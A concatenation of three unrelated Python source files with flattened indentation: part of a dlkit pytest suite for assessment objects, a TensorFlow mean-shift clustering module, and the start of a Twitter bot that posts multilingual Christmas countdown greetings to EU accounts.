assert isinstance(mdata, Metadata)
assert isinstance(mdata.get_element_id(), ABC_Id)
assert isinstance(mdata.get_element_label(), ABC_DisplayText)
assert isinstance(mdata.get_instructions(), ABC_DisplayText)
assert mdata.get_syntax() == 'ID'
assert not mdata.is_array()
assert isinstance(mdata.is_required(), bool)
assert isinstance(mdata.is_read_only(), bool)
assert isinstance(mdata.is_linked(), bool)
def test_set_level(self):
"""Tests set_level"""
# From test_templates/resource.py::ResourceForm::set_avatar_template
if not is_never_authz(self.service_config):
assert self.form._my_map['levelId'] == ''
self.form.set_level(Id('repository.Asset%3Afake-id%40ODL.MIT.EDU'))
assert self.form._my_map['levelId'] == 'repository.Asset%3Afake-id%40ODL.MIT.EDU'
with pytest.raises(errors.InvalidArgument):
self.form.set_level(True)
def test_clear_level(self):
"""Tests clear_level"""
# From test_templates/resource.py::ResourceForm::clear_avatar_template
if not is_never_authz(self.service_config):
self.form.set_level(Id('repository.Asset%3Afake-id%40ODL.MIT.EDU'))
assert self.form._my_map['levelId'] == 'repository.Asset%3Afake-id%40ODL.MIT.EDU'
self.form.clear_level()
assert self.form._my_map['levelId'] == self.form.get_level_metadata().get_default_id_values()[0]
def test_get_rubric_metadata(self):
"""Tests get_rubric_metadata"""
# From test_templates/resource.py::ResourceForm::get_avatar_metadata_template
if not is_never_authz(self.service_config):
mdata = self.form.get_rubric_metadata()
assert isinstance(mdata, Metadata)
assert isinstance(mdata.get_element_id(), ABC_Id)
assert isinstance(mdata.get_element_label(), ABC_DisplayText)
assert isinstance(mdata.get_instructions(), ABC_DisplayText)
assert mdata.get_syntax() == 'ID'
assert not mdata.is_array()
assert isinstance(mdata.is_required(), bool)
assert isinstance(mdata.is_read_only(), bool)
assert isinstance(mdata.is_linked(), bool)
def test_set_rubric(self):
"""Tests set_rubric"""
# From test_templates/resource.py::ResourceForm::set_avatar_template
if not is_never_authz(self.service_config):
assert self.form._my_map['rubricId'] == ''
self.form.set_rubric(Id('repository.Asset%3Afake-id%40ODL.MIT.EDU'))
assert self.form._my_map['rubricId'] == 'repository.Asset%3Afake-id%40ODL.MIT.EDU'
with pytest.raises(errors.InvalidArgument):
self.form.set_rubric(True)
def test_clear_rubric(self):
"""Tests clear_rubric"""
# From test_templates/resource.py::ResourceForm::clear_avatar_template
if not is_never_authz(self.service_config):
self.form.set_rubric(Id('repository.Asset%3Afake-id%40ODL.MIT.EDU'))
assert self.form._my_map['rubricId'] == 'repository.Asset%3Afake-id%40ODL.MIT.EDU'
self.form.clear_rubric()
assert self.form._my_map['rubricId'] == self.form.get_rubric_metadata().get_default_id_values()[0]
def test_get_assessment_form_record(self):
"""Tests get_assessment_form_record"""
if not is_never_authz(self.service_config):
with pytest.raises(errors.Unsupported):
self.form.get_assessment_form_record(Type('osid.Osid%3Afake-record%40ODL.MIT.EDU'))
# Here check for a real record?
@pytest.fixture(scope="class",
params=['TEST_SERVICE', 'TEST_SERVICE_ALWAYS_AUTHZ', 'TEST_SERVICE_NEVER_AUTHZ', 'TEST_SERVICE_CATALOGING', 'TEST_SERVICE_FILESYSTEM', 'TEST_SERVICE_MEMCACHE'])
def assessment_list_class_fixture(request):
# Implemented from init template for ResourceList
request.cls.service_config = request.param
request.cls.svc_mgr = Runtime().get_service_manager(
'ASSESSMENT',
proxy=PROXY,
implementation=request.cls.service_config)
if not is_never_authz(request.cls.service_config):
create_form = request.cls.svc_mgr.get_bank_form_for_create([])
create_form.display_name = 'Test Bank'
create_form.description = 'Test Bank for AssessmentList tests'
request.cls.catalog = request.cls.svc_mgr.create_bank(create_form)
def class_tear_down():
if not is_never_authz(request.cls.service_config):
for obj in request.cls.catalog.get_assessments():
request.cls.catalog.delete_assessment(obj.ident)
request.cls.svc_mgr.delete_bank(request.cls.catalog.ident)
request.addfinalizer(class_tear_down)
@pytest.fixture(scope="function")
def assessment_list_test_fixture(request):
# Implemented from init template for ResourceList
from dlkit.json_.assessment.objects import AssessmentList
request.cls.assessment_list = list()
request.cls.assessment_ids = list()
if not is_never_authz(request.cls.service_config):
for num in [0, 1]:
create_form = request.cls.catalog.get_assessment_form_for_create([])
create_form.display_name = 'Test Assessment ' + str(num)
create_form.description = 'Test Assessment for AssessmentList tests'
obj = request.cls.catalog.create_assessment(create_form)
request.cls.assessment_list.append(obj)
request.cls.assessment_ids.append(obj.ident)
request.cls.assessment_list = AssessmentList(request.cls.assessment_list)
request.cls.object = request.cls.assessment_list
@pytest.mark.usefixtures("assessment_list_class_fixture", "assessment_list_test_fixture")
class TestAssessmentList(object):
"""Tests for AssessmentList"""
def test_get_next_assessment(self):
"""Tests get_next_assessment"""
# From test_templates/resource.py::ResourceList::get_next_resource_template
from dlkit.abstract_osid.assessment.objects import Assessment
if not is_never_authz(self.service_config):
assert isinstance(self.assessment_list.get_next_assessment(), Assessment)
def test_get_next_assessments(self):
"""Tests get_next_assessments"""
# From test_templates/resource.py::ResourceList::get_next_resources_template
from dlkit.abstract_osid.assessment.objects import AssessmentList, Assessment
if not is_never_authz(self.service_config):
new_list = self.assessment_list.get_next_assessments(2)
assert isinstance(new_list, AssessmentList)
for item in new_list:
assert isinstance(item, Assessment)
@pytest.fixture(scope="class",
params=['TEST_SERVICE', 'TEST_SERVICE_ALWAYS_AUTHZ', 'TEST_SERVICE_NEVER_AUTHZ', 'TEST_SERVICE_CATALOGING', 'TEST_SERVICE_FILESYSTEM', 'TEST_SERVICE_MEMCACHE'])
def assessment_offered_class_fixture(request):
request.cls.service_config = request.param
request.cls.svc_mgr = Runtime().get_service_manager(
'ASSESSMENT',
proxy=PROXY,
implementation=request.cls.service_config)
if not is_never_authz(request.cls.service_config):
create_form = request.cls.svc_mgr.get_bank_form_for_create([])
create_form.display_name = 'Test catalog'
create_form.description = 'Test catalog description'
request.cls.catalog = request.cls.svc_mgr.create_bank(create_form)
form = request.cls.catalog.get_assessment_form_for_create([])
form.display_name = 'Assessment'
request.cls.assessment = request.cls.catalog.create_assessment(form)
form = request.cls.catalog.get_assessment_offered_form_for_create(request.cls.assessment.ident, [])
form.display_name = 'Test assessment offered'
form.set_start_time(DateTime.utcnow())
form.set_duration(Duration(hours=1))
deadline = DateTime.utcnow() + datetime.timedelta(days=4)
form.set_deadline(DateTime(year=deadline.year,
month=deadline.month,
day=deadline.day,
hour=deadline.hour,
minute=deadline.minute,
second=deadline.second,
microsecond=deadline.microsecond))
request.cls.object = request.cls.catalog.create_assessment_offered(form)
def class_tear_down():
if not is_never_authz(request.cls.service_config):
for obj in request.cls.catalog.get_assessments():
for offered in request.cls.catalog.get_assessments_offered_for_assessment(obj.ident):
request.cls.catalog.delete_assessment_offered(offered.ident)
request.cls.catalog.delete_assessment(obj.ident)
request.cls.svc_mgr.delete_bank(request.cls.catalog.ident)
request.addfinalizer(class_tear_down)
@pytest.fixture(scope="function")
def assessment_offered_test_fixture(request):
pass
@pytest.mark.usefixtures("assessment_offered_class_fixture", "assessment_offered_test_fixture")
class TestAssessmentOffered(object):
"""Tests for AssessmentOffered"""
def test_get_assessment_id(self):
"""Tests get_assessment_id"""
if not is_never_authz(self.service_config):
assert isinstance(self.object.get_assessment_id(), Id)
assert str(self.object.get_assessment_id()) == str(self.assessment.ident)
def test_get_assessment(self):
"""Tests get_assessment"""
if not is_never_authz(self.service_config):
assert isinstance(self.object.get_assessment(), Assessment)
assert str(self.object.get_assessment().ident) == str(self.assessment.ident)
def test_get_level_id(self):
"""Tests get_level_id"""
# From test_templates/resources.py::Resource::get_avatar_id_template
if not is_never_authz(self.service_config):
pytest.raises(errors.IllegalState,
self.object.get_level_id)
def test_get_level(self):
"""Tests get_level"""
# From test_templates/resources.py::Resource::get_avatar_template
if not is_never_authz(self.service_config):
pytest.raises(errors.IllegalState,
self.object.get_level)
def test_are_items_sequential(self):
"""Tests are_items_sequential"""
# From test_templates/resources.py::Resource::is_group_template
if not is_never_authz(self.service_config):
assert isinstance(self.object.are_items_sequential(), bool)
def test_are_items_shuffled(self):
"""Tests are_items_shuffled"""
# From test_templates/resources.py::Resource::is_group_template
if not is_never_authz(self.service_config):
assert isinstance(self.object.are_items_shuffled(), bool)
def test_has_start_time(self):
"""Tests has_start_time"""
# From test_templates/repository.py::AssetContent::has_url_template
if not is_never_authz(self.service_config):
assert isinstance(self.object.has_start_time(), bool)
def test_get_start_time(self):
"""Tests get_start_time"""
# From test_templates/assessment.py::AssessmentOffered::get_start_time_template
if not is_never_authz(self.service_config):
assert isinstance(self.object.get_start_time(), DateTime)
def test_has_deadline(self):
"""Tests has_deadline"""
# From test_templates/repository.py::AssetContent::has_url_template
if not is_never_authz(self.service_config):
assert isinstance(self.object.has_deadline(), bool)
def test_get_deadline(self):
"""Tests get_deadline"""
# From test_templates/assessment.py::AssessmentOffered::get_start_time_template
if not is_never_authz(self.service_config):
assert isinstance(self.object.get_start_time(), DateTime)
def test_has_duration(self):
"""Tests has_duration"""
# From test_templates/repository.py::AssetContent::has_url_template
if not is_never_authz(self.service_config):
assert isinstance(self.object.has_duration(), bool)
def test_get_duration(self):
"""Tests get_duration"""
# From test_templates/assessment.py::AssessmentOffered::get_duration_template
if not is_never_authz(self.service_config):
assert isinstance(self.object.get_duration(), Duration)
def test_is_scored(self):
"""Tests is_scored"""
# This may be an error in the spec -- not in _my_map
# since there are no form methods to set scored?
if not is_never_authz(self.service_config):
pytest.raises(KeyError,
self.object.is_scored)
def test_get_score_system_id(self):
"""Tests get_score_system_id"""
# From test_templates/resources.py::Resource::get_avatar_id_template
if not is_never_authz(self.service_config):
pytest.raises(errors.IllegalState,
self.object.get_score_system_id)
def test_get_score_system(self):
"""Tests get_score_system"""
# From test_templates/resources.py::Resource::get_avatar_template
if not is_never_authz(self.service_config):
pytest.raises(errors.IllegalState,
self.object.get_score_system)
def test_is_graded(self):
"""Tests is_graded"""
# This may be an error in the spec -- not in _my_map
# since there are no form methods to set graded?
if not is_never_authz(self.service_config):
pytest.raises(KeyError,
self.object.is_graded)
def test_get_grade_system_id(self):
"""Tests get_grade_system_id"""
# From test_templates/resources.py::Resource::get_avatar_id_template
if not is_never_authz(self.service_config):
pytest.raises(errors.IllegalState,
self.object.get_grade_system_id)
def test_get_grade_system(self):
"""Tests get_grade_system"""
# From test_templates/resources.py::Resource::get_avatar_template
if not is_never_authz(self.service_config):
pytest.raises(errors.IllegalState,
self.object.get_grade_system)
def test_has_rubric(self):
"""Tests has_rubric"""
# This may be an error in the spec -- not in _my_map
# since there are no form methods to set rubricId?
if not is_never_authz(self.service_config):
pytest.raises(KeyError,
self.object.has_rubric)
def test_get_rubric_id(self):
"""Tests get_rubric_id"""
# This may be an error in the spec -- not in _my_map
# since there are no form methods to set rubricId?
if not is_never_authz(self.service_config):
pytest.raises(KeyError,
self.object.get_rubric_id)
def test_get_rubric(self):
"""Tests get_rubric"""
# This may be an error in the spec -- not in _my_map
# since there are no form methods to set rubricId?
if not is_never_authz(self.service_config):
pytest.raises(KeyError,
self.object.get_rubric)
def test_get_assessment_offered_record(self):
"""Tests get_assessment_offered_record"""
if is_never_authz(self.service_config):
pass # no object to call the method on?
else:
with pytest.raises(errors.Unsupported):
self.object.get_assessment_offered_record(True)
@pytest.fixture(scope="class",
params=['TEST_SERVICE', 'TEST_SERVICE_ALWAYS_AUTHZ', 'TEST_SERVICE_NEVER_AUTHZ', 'TEST_SERVICE_CATALOGING', 'TEST_SERVICE_FILESYSTEM', 'TEST_SERVICE_MEMCACHE'])
def assessment_offered_form_class_fixture(request):
request.cls.service_config = request.param
request.cls.svc_mgr = Runtime().get_service_manager(
'ASSESSMENT',
proxy=PROXY,
implementation=request.cls.service_config)
if not is_never_authz(request.cls.service_config):
create_form = request.cls.svc_mgr.get_bank_form_for_create([])
create_form.display_name = 'Test Bank'
create_form.description = 'Test Bank for AssessmentOfferedLookupSession tests'
request.cls.catalog = request.cls.svc_mgr.create_bank(create_form)
create_form = request.cls.catalog.get_assessment_form_for_create([])
create_form.display_name = 'Test Assessment'
create_form.description = 'Test Assessment for AssessmentOfferedLookupSession tests'
request.cls.assessment = request.cls.catalog.create_assessment(create_form)
request.cls.form = request.cls.catalog.get_assessment_offered_form_for_create(request.cls.assessment.ident,
[])
def class_tear_down():
if not is_never_authz(request.cls.service_config):
for obj in request.cls.catalog.get_assessments_offered():
request.cls.catalog.delete_assessment_offered(obj.ident)
for obj in request.cls.catalog.get_assessments():
request.cls.catalog.delete_assessment(obj.ident)
request.cls.svc_mgr.delete_bank(request.cls.catalog.ident)
request.addfinalizer(class_tear_down)
@pytest.fixture(scope="function")
def assessment_offered_form_test_fixture(request):
if not is_never_authz(request.cls.service_config):
request.cls.form = request.cls.catalog.get_assessment_offered_form_for_create(request.cls.assessment.ident,
[])
@pytest.mark.usefixtures("assessment_offered_form_class_fixture", "assessment_offered_form_test_fixture")
class TestAssessmentOfferedForm(object):
"""Tests for AssessmentOfferedForm"""
def test_get_level_metadata(self):
"""Tests get_level_metadata"""
# From test_templates/resource.py::ResourceForm::get_avatar_metadata_template
if not is_never_authz(self.service_config):
mdata = self.form.get_level_metadata()
assert isinstance(mdata, Metadata)
assert isinstance(mdata.get_element_id(), ABC_Id)
assert isinstance(mdata.get_element_label(), ABC_DisplayText)
assert isinstance(mdata.get_instructions(), ABC_DisplayText)
assert mdata.get_syntax() == 'ID'
assert not mdata.is_array()
assert isinstance(mdata.is_required(), bool)
assert isinstance(mdata.is_read_only(), bool)
assert isinstance(mdata.is_linked(), bool)
def test_set_level(self):
"""Tests set_level"""
# From test_templates/resource.py::ResourceForm::set_avatar_template
if not is_never_authz(self.service_config):
assert self.form._my_map['levelId'] == ''
self.form.set_level(Id('repository.Asset%3Afake-id%40ODL.MIT.EDU'))
assert self.form._my_map['levelId'] == 'repository.Asset%3Afake-id%40ODL.MIT.EDU'
with pytest.raises(errors.InvalidArgument):
self.form.set_level(True)
def test_clear_level(self):
"""Tests clear_level"""
# From test_templates/resource.py::ResourceForm::clear_avatar_template
if not is_never_authz(self.service_config):
self.form.set_level(Id('repository.Asset%3Afake-id%40ODL.MIT.EDU'))
assert self.form._my_map['levelId'] == 'repository.Asset%3Afake-id%40ODL.MIT.EDU'
self.form.clear_level()
assert self.form._my_map['levelId'] == self.form.get_level_metadata().get_default_id_values()[0]
def test_get_items_sequential_metadata(self):
"""Tests get_items_sequential_metadata"""
# From test_templates/resource.py::ResourceForm::get_group_metadata_template
if not is_never_authz(self.service_config):
| |
<reponame>Mrpatekful/ClusterFlow
"""
@author: <NAME>
@copyright: Copyright 2018, tfcluster
@license: MIT
@email: <EMAIL>
@date: 2018.08.17.
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from tensorflow.python.client import device_lib
import tensorflow as tf
import numpy as np
import os
class Clustering:
"""Abstract base class for clustering algorithms."""
@staticmethod
def _distance_argmin(a, b):
"""Finds the indexes of the closest point (Euclidean) for each point in
tensor 'a' from the points of tensor 'b'."""
return tf.cast(tf.argmin(
tf.reduce_sum((tf.expand_dims(a, 2) - tf.expand_dims(
tf.transpose(b), 0)) ** 2, axis=1), axis=1), dtype=tf.int32)
def __init__(self, criterion, max_iter):
"""Abstract base class for clustering algorithms."""
self._criterion = criterion
self._max_iter = max_iter
self._dim = None
# Result variables
self.centroids_ = None
self.history_ = None
self.n_iter_ = None
self.max_diff_ = None
# Initial centroids
self._initial_centroids = None
# Data set
self.x = None
# Expanded version of the data
self._X = None
# Number of shards
self._n_shards = None
self._sharded = None
self._size = None
def predict(self, x: np.ndarray) -> np.ndarray:
"""Calculates the nearest cluster centroid for the data points.
Arguments:
:param x: 2D Numpy array with the data points.
Return:
:return _y: List of labels, in the same order as the provided data.
"""
assert self.centroids_ is not None
assert x.shape[1] == self._dim, 'Invalid data dimension. Expected' \
'{} and received {} for axis 1.'. \
format(self._dim, x.shape[1])
config = tf.ConfigProto()
config.gpu_options.allow_growth = False
config.gpu_options.per_process_gpu_memory_fraction = 0.8
with tf.Session(config=config) as sess:
self._size = x.shape[0]
if self._sharded:
tf.logging.info('Data is too large, fragmenting.'
' Dividing to {} fragments.'.
format(self._n_shards))
labels = sess.run(self._create_predict_graph(),
feed_dict={self.x: x})
return labels
def fit(self, x: np.ndarray) -> np.ndarray:
"""Fits the MeanShift cluster object to the given data set.
Arguments:
:param x: 2D Numpy array, that contains the data set.
Returns:
:return labels: List of labels, in the same order as the
provided data.
"""
self._dim = x.shape[1]
config = tf.ConfigProto()
config.gpu_options.allow_growth = False
config.gpu_options.per_process_gpu_memory_fraction = 0.8
with tf.Session(config=config) as sess:
self._size = x.shape[0]
initial_centroids = self._pre_process(x, sess)
self._sharded, self._n_shards = \
_prepare_shards(x.shape[0], x.shape[1],
initial_centroids.shape[0])
if self._sharded:
tf.logging.info('Data is too large, dividing to {} fragments.'.
format(self._n_shards))
cluster_op, hist_op = self._create_fit_graph()
tf.summary.FileWriter(
os.path.join('tensorboard'), sess.graph)
centroids, self.history_, n_iter, max_diff = sess.run(
[cluster_op, hist_op, self.n_iter_, self.max_diff_],
feed_dict={
self.x: x,
self._initial_centroids: initial_centroids
}
)
tf.logging.info('Clustering finished in {} iterations with '
'{:.5} shift delta.'.format(n_iter, max_diff))
tf.logging.info('Proceeding to post-processing.')
labels, self.centroids_ = self._post_process(x, centroids, sess)
return labels
def _create_predict_graph(self):
"""Creates the prediction computation graph."""
self.x = tf.placeholder(tf.float32, [None, self._dim], name='data')
_c = tf.constant(self.centroids_, dtype=tf.float32, name='centroids')
pred_op = self._distance_argmin(self.x, _c)
return pred_op
def _create_fit_graph(self):
"""Returns the operation of the clustering algorithm."""
raise NotImplementedError
def _pre_process(self, x, sess):
"""Returns the initial cluster centroids for the clustering."""
raise NotImplementedError
def _post_process(self, x, y, sess):
"""Processes the output tensor of the clustering. The output
is the array of centroids."""
raise NotImplementedError
@property
def centroids(self):
"""Property for the array of clusters. (num_clusters, dim) array."""
return self.centroids_
@property
def history(self):
"""Property for the history of the cluster centroids. If
the data size is sufficiently small, the improvements of
the centroids will be stored as (num_it, num_clusters, dim) array."""
return self.history_
# Kernel functions for non-parametric density estimation.
# In order to be able to use new kernel, it has to also be
# registered in the MeanShift _kernel_fns dictionary.
def _gaussian(x, x_i, h):
"""Gaussian kernel function. """
return tf.exp(-tf.linalg.norm((x - x_i) / h, ord=2, axis=1))
def _epanechnikov(x, x_i, h):
"""Epanechnikov kernel function."""
norm = tf.linalg.norm((x - x_i) / h, ord=2, axis=1)
return tf.multiply(3 / 4 * (1 - norm),
tf.cast(tf.less(norm, 1), tf.float32))
def _flat(x, x_i, h):
"""Flat kernel function. If the value is within the bounds of
the bandwidth, it gets weight 1, otherwise 0."""
return tf.cast(tf.less(
tf.linalg.norm((x - x_i) / h, ord=2, axis=1), h), tf.float32)
class MeanShift(Clustering):
"""Implementation of mean shift clustering"""
# Available kernel functions
_kernel_fns = {
'gaussian': _gaussian,
'flat': _flat,
'epanechnikov': _epanechnikov
}
# noinspection PyTypeChecker
def __init__(self,
bandwidth: float,
kernel: str = 'gaussian',
criterion: float = 1e-5,
max_iter: int = 300):
"""Mean shift clustering object.
Arguments:
:param kernel: Kernel function type for mean shift calculation.
:param bandwidth: Bandwidth hyper parameter of the clustering.
:param criterion: Convergence criterion.
:param max_iter: Maximum number of iterations.
"""
super(MeanShift, self).__init__(criterion, max_iter)
assert self._kernel_fns.get(kernel) is not None, 'Invalid kernel.'
assert bandwidth is not None
self._kernel_fn = self._kernel_fns[kernel]
self._log_freq = max_iter // 20 if max_iter > 10 else 1
# Bandwidth
self._bandwidth = bandwidth
# Transpose of expanded version of the provided data
self._X_T = None
# Size of the provided data
self._size = None
self._indices = None
def _fast_mean_shift(self, index, centroids, history, _):
"""Calculates the mean shift vector and refreshes the centroids.
This method"""
ms = self._kernel_fn(tf.expand_dims(centroids, 2),
self._X_T, self._bandwidth)
new_centroids = tf.reduce_sum(
tf.expand_dims(ms, 2) * self._X, axis=1) / \
tf.reduce_sum(ms, axis=1, keepdims=True)
max_diff = tf.reshape(tf.reduce_max(
tf.sqrt(tf.reduce_sum(
(new_centroids - centroids) ** 2, axis=1))), [])
history = history.write(index + 1, new_centroids)
return index + 1, new_centroids, history, max_diff
def _flat_mean_shift(self, index, centroids, history, _):
"""Calculates the mean shift vector and refreshes the centroids.
This method also fragments the data, since it was determined to
be excessively large."""
def shift_fragment(_index, _centroids):
_ms = self._kernel_fn(
tf.gather(self._X_T, _index),
tf.expand_dims(self._sharded_centroids, 2), self._bandwidth)
_centroids = _centroids.write(
_index,
tf.reduce_sum(tf.expand_dims(_ms, 2) *
tf.gather(self._X, _index), axis=1) /
tf.reduce_sum(_ms, axis=1, keepdims=True))
return _index + 1, _centroids
_, new_centroids = tf.while_loop(
cond=lambda i, _: tf.less(i, self._n_shards),
body=shift_fragment,
loop_vars=(
tf.constant(0, dtype=tf.int32),
tf.TensorArray(dtype=tf.float32, size=self._n_shards)))
new_centroids = tf.reshape(
new_centroids.gather(
tf.range(self._n_shards)), [self._size, self._dim])
new_centroids = tf.cond(
tf.equal(index % self._log_freq, 0),
lambda: tf.Print(new_centroids, [index],
message='Iteration: '),
lambda: new_centroids)
max_diff = tf.reshape(tf.reduce_max(
tf.sqrt(tf.reduce_sum(
(new_centroids - centroids) ** 2, axis=1))), [])
return index + 1, new_centroids, history, max_diff
def _create_fit_graph(self):
"""Creates the computation graph of the clustering."""
self.x = tf.placeholder(tf.float32, [self._size, self._dim])
self._initial_centroids = \
tf.placeholder(tf.float32, [self._size, self._dim])
if self._sharded:
# Sharded version of expanded x and x.T
self._X_T = [tf.expand_dims(_x_t, 0)
for _x_t in tf.split(tf.transpose(self.x),
self._n_shards, 1)]
self._X = [tf.expand_dims(_x, 0)
for _x in tf.split(self.x, self._n_shards, 0)]
self._sharded_centroids = tf.gather(self.x, tf.random_shuffle(
np.arange(self._size))[:self._size // self._n_shards])
else:
# Normal version of expanded x and x.T
self._X_T = tf.expand_dims(tf.transpose(self.x), 0)
self._X = tf.expand_dims(self.x, 0)
self._bandwidth = tf.constant(self._bandwidth, tf.float32)
history = tf.TensorArray(dtype=tf.float32, size=self._max_iter)
history = history.write(0, self._initial_centroids)
centroids = self._initial_centroids
mean_shift = self._fast_mean_shift if not self._sharded else \
self._flat_mean_shift
self.n_iter_, cluster_op, history, self.max_diff_ = tf.while_loop(
cond=lambda i, c, h, diff: tf.less(self._criterion, diff),
body=mean_shift,
loop_vars=(
tf.constant(0, dtype=tf.int32),
centroids,
history,
tf.constant(np.inf, dtype=tf.float32)),
swap_memory=True,
maximum_iterations=self._max_iter - 1)
r = 1 if self._sharded else self.n_iter_ + 1
history = history.gather(tf.range(r))
hist_op = tf.cond(
tf.equal(self.n_iter_, self._max_iter - 1),
lambda: tf.Print(history, [self.n_iter_],
message='Stopping at maximum iterations limit.'),
lambda: history)
return cluster_op, hist_op
def _pre_process(self, x, _):
"""Pre-processing is not needed."""
return x
def _post_process(self, _, y, sess):
"""Converts the tensor of converged data points to clusters."""
def process_point(index, _centroids, num_centroids, _labels):
"""Body of the while loop."""
def _new(label, __labels, __centroids, _num_centroids):
"""Convenience function for adding new centroid."""
_cp = tf.concat([__centroids,
tf.expand_dims(y[index], 0)], axis=0)
return __labels.write(index, label + 1), _cp,\
_num_centroids + 1
def _exists(label, __labels, __centroids, _num_centroids):
"""Convenience function for labeling."""
return __labels.write(index, label), __centroids, \
_num_centroids
distance = tf.sqrt(tf.reduce_sum(
(_centroids - y[index]) ** 2, axis=1))
closest_index = tf.cast(tf.argmin(distance), tf.int32)
value = tf.gather(distance, closest_index)
_labels, _centroids, num_centroids = tf.cond(
tf.less(value, self._bandwidth * tolerance),
lambda: _exists(closest_index,
_labels, _centroids, num_centroids),
lambda: _new(num_centroids, _labels, _centroids,
num_centroids))
return index + 1, _centroids, num_centroids, _labels
tolerance = 1.2
_initial = y[None, 0]
y = tf.constant(y, dtype=tf.float32)
# Loop variables:
# 1. i: Index variable.
# 2. c: Tensor of discovered centroids (modes).
# 3. nc: Number of discovered centroids.
# 4. l: TensorArray of labeled data.
_, centroids, _, labels = tf.while_loop(
cond=lambda i, c, nc, l: tf.less(i, self._size),
body=process_point,
loop_vars=(
tf.constant(1, dtype=tf.int32),
tf.constant(_initial, dtype=tf.float32),
tf.constant(0, dtype=tf.int32),
tf.TensorArray(dtype=tf.int32, size=self._size)),
shape_invariants=(
tf.TensorShape([]),
tf.TensorShape([None, self._dim]),
tf.TensorShape([]),
tf.TensorShape([])))
labels = labels.gather(tf.range(self._size))
labels, centroids = sess.run([labels, centroids])
return labels, centroids
def _variable_bandwidth(self):
pass
class DynamicMeanShift(MeanShift):
"""Dynamic version of the mean shift clustering."""
def _fast_mean_shift(self, index, centroids, history, _):
"""Calculates the mean shift vector and refreshes the centroids."""
ms = self._kernel_fn(tf.expand_dims(centroids, 2),
tf.expand_dims(tf.transpose(centroids), 0),
self._bandwidth)
new_centroids = tf.reduce_sum(
tf.expand_dims(ms, 2) | |
<reponame>rodrihgh/MerryXmasEU<gh_stars>0
"""
Tweet application.
Minimal script to post a tweet to the Twitter API using a given message.
"""
import os
from pathlib import Path
from datetime import datetime as dt, timedelta as td
from random import seed, shuffle
import json
import urllib.request
import re
import tweepy
# API Keys #
CONSUMER_KEY = os.environ.get('CONSUMER_KEY')
CONSUMER_SECRET = os.environ.get('CONSUMER_SECRET')
ACCESS_KEY = os.environ.get('ACCESS_KEY')
ACCESS_SECRET = os.environ.get('ACCESS_SECRET')
languages = ["EN", "ES", "DE", "FR"]
n_lang = len(languages)
# HELPER FUNCTIONS #
def early_months(month):
return month < 3
def current_xmas_year(day=None):
if day is None:
day = dt.now()
month, year = day.month, day.year
if early_months(month):
year -= 1
return year
def date(day, month, year=None):
if year is None:
year = current_xmas_year()
if early_months(month):
year += 1
return dt(year=year, month=month, day=day).date()
def ordinal(num, lang, feminine=False):
if type(num) is not int or num < 1:
raise ValueError(f"Invalid ordinal number {num}")
if lang not in languages:
raise ValueError(f"Invalid language {lang}")
if lang == "EN":
if num == 1:
return "1st"
elif num == 2:
return "2nd"
elif num == 3:
return "3rd"
else:
return f"{num}th"
elif lang == "ES":
return f"{num}ª" if feminine else f"{num}º"
elif lang == "FR":
if num == 1:
return f"{num}ère" if feminine else f"{num}er"
else:
return f"{num}ème"
elif lang == "DE":
return f"{num}."
def fill_num(lang_dict, number):
return {k: v(number) for k, v in lang_dict.items()}
def capitalize(lang_dict):
return {k: v.capitalize() for k, v in lang_dict.items()}
def lowercase(lang_dict):
return {k: v.lower() for k, v in lang_dict.items()}
def append(lang_dict, suffix):
if type(suffix) == dict:
return {k: v + suffix[k] for k, v in lang_dict.items()}
elif type(suffix) == str:
return {k: v + suffix for k, v in lang_dict.items()}
else:
raise ValueError("Invalid suffix")
def shorten(lang_dict, length):
return {k: v[:-length] for k, v in lang_dict.items()}
def join_message(parts, lang):
return " ".join(part[lang] for part in parts)
# PHRASES #
img_source = {"EN": "Image source\n", "ES": "Fuente de la imagen\n", "DE": "Bildquelle\n", "FR": "Source de l'image\n"}
ue_handles = {"EN": "EU_Commission", "ES": "ComisionEuropea", "DE": "EUinDE", "FR": "UEFrance"}
header = {
"EN": f"Dear @{ue_handles['EN']},",
"ES": f"Querida @{ue_handles['ES']},",
"DE": f"Liebe @{ue_handles['DE']},",
"FR": f"Chère @{ue_handles['FR']},"
}
today_is = {
"EN": "Today is",
"ES": "Hoy es",
"DE": "Heute ist",
"FR": "Aujourd'hui c'est"
}
_and_ = {"EN": " and ", "ES": " y ", "DE": " und ", "FR": " et "}
weekdays = (
{'EN': 'Monday', 'ES': 'lunes', 'DE': 'Montag', 'FR': 'lundi'},
{'EN': 'Tuesday', 'ES': 'martes', 'DE': 'Dienstag', 'FR': 'mardi'},
{'EN': 'Wednesday', 'ES': 'miércoles', 'DE': 'Mittwoch', 'FR': 'mercredi'},
{'EN': 'Thursday', 'ES': 'jueves', 'DE': 'Donnerstag', 'FR': 'jeudi'},
{'EN': 'Friday', 'ES': 'viernes', 'DE': 'Freitag', 'FR': 'vendredi'},
{'EN': 'Saturday', 'ES': 'sábado', 'DE': 'Samstag', 'FR': 'samedi'},
{'EN': 'Sunday', 'ES': 'domingo', 'DE': 'Sonntag', 'FR': 'dimanche'}
)
advent_week = {
"EN": lambda d: f"of the {ordinal(d, 'EN')} week of Advent.",
"ES": lambda d: f"de la {ordinal(d, 'ES', feminine=True)} semana de Adviento.",
"DE": lambda d: f"der {ordinal(d, 'DE')} Adventswoche.",
"FR": lambda d: f"de la {ordinal(d, 'FR', feminine=True)} semaine de l'Avent."
}
remaining = {
"EN": lambda d: f"Only {d} day{'s' if d>1 else ''} left to wish you a #MerryChristmas",
"ES": lambda d: f"{f'Falta 1 día' if d==1 else f'Faltan {d} días'} para desearos una muy #FelizNavidad",
"DE": lambda d: f"Es {f'ist nur noch 1 Tag' if d==1 else f'sind nur noch {d} Tage'}"
f", um Ihnen #FroheWeihnachten zu wünschen.",
"FR": lambda d: f"Plus que {d} jour{'s' if d>1 else ''} pour vous souhaiter un #JoyeuxNoël"
}
xmas_days = {
"EN": lambda d: f"the {ordinal(d, 'EN')} Christmas day.",
"ES": lambda d: f"{ordinal(d, 'ES')} día de Navidad.",
"DE": lambda d: f"{ordinal(d, 'DE')} Weihnachtstag.",
"FR": lambda d: f"le {ordinal(d, 'FR')} jour de Noël."
}
merry_xmas = {
"EN": "#MerryChristmas to the European nation!",
"ES": "#FelizNavidad a la nación europea!",
"DE": "#FroheWeihnachten der europäischen Nation!",
"FR": "#JoyeuxNoël à la nation européenne !"
}
light = {
"EN": "May the birth of Our Lord Jesus Christ enlighten our peoples in peace and justice.",
"ES": "Que el nacimiento de Nuestro Salvador Jesucristo ilumine a nuestros pueblos en paz y justicia.",
